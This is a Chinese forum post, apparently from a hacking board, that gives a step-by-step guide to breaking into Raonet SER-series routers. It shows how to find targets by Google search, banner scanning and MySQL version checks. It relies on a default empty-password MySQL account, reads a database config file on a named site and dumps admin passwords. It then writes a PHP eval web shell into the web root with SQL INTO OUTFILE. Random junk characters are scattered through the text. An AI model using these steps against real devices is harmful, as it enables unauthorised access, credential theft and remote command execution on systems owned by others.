寻找存在漏洞的路由器方法：+ M0 |" J/ O& R% }
* s/ f- \0 ~' |- \5 O0 w' z# _
1：google搜索'Raonet Subscriber Ethernet Router'. i! k4 w9 g* ]4 f, V4 p0 D, L- k
& a, _+ @- }$ I! p% {# p2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001
2 V4 I; S: U7 q& l* s8 p* n% Y! J
3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。
4 `2 E* m: [; u9 `6 ~, J) _7 A+ p/ m
//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......8 L7 g8 c9 P2 C" {5 |! P
7 Q3 H k% l3 z7 a( ^% K# R/ m- P5 ? % V8 p& ]* C- t; W/ }
$ j, ]: U3 E3 i0 n3 K
入侵步骤：
$ D" q4 L/ t( K8 h7 V& N: ]! A
. J0 y, i( X; ^1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php" `1 d6 o! ` N! E) E/ j
+ Q( S; b* Q* h" e3 P% t2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc' t8 f9 ~, Y# i+ s- `* W0 |9 e( @
3：得到密码后连接，查看GUI管理密码：1 P5 Y# Q9 y: @1 W0 y) T5 m
use ser_500
3 \, C3 Q& \! r( i4 h7 ^- G! fselect id,passwd from user;" W2 B" c [3 D+ X9 V8 y
4:通过数据库写入webshell，执行命令：
5 m$ \; H+ ]# k- ?! U; luse mysql;3 `9 a! {6 s- y# E, C' c
create table ok(cmd TEXT);
* C5 g: d) p2 [0 t# d) iinsert into ok values("<?php @eval($_POST[cmd])?>");
) A, a& v% S2 K' }4 N5 rselect * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";7 d7 |, z2 |# W( g: H
drop table ok;& C K( f) U1 J, h: _' R; X$ c% g
; n+ U7 L, |9 N* T
5:连接后门shell.php # l% o: J- f2 F% d7 t
4 V$ w7 x: @* X+ P f- G6. 搞定！
; H$ @# A& O& R9 }4 F% A2 R9 {: [) a$ N d. x6 u1 m
|
发表于 2012-12-10 10:30:18
收藏
支持
反对
发表于 2013-7-27 20:06:50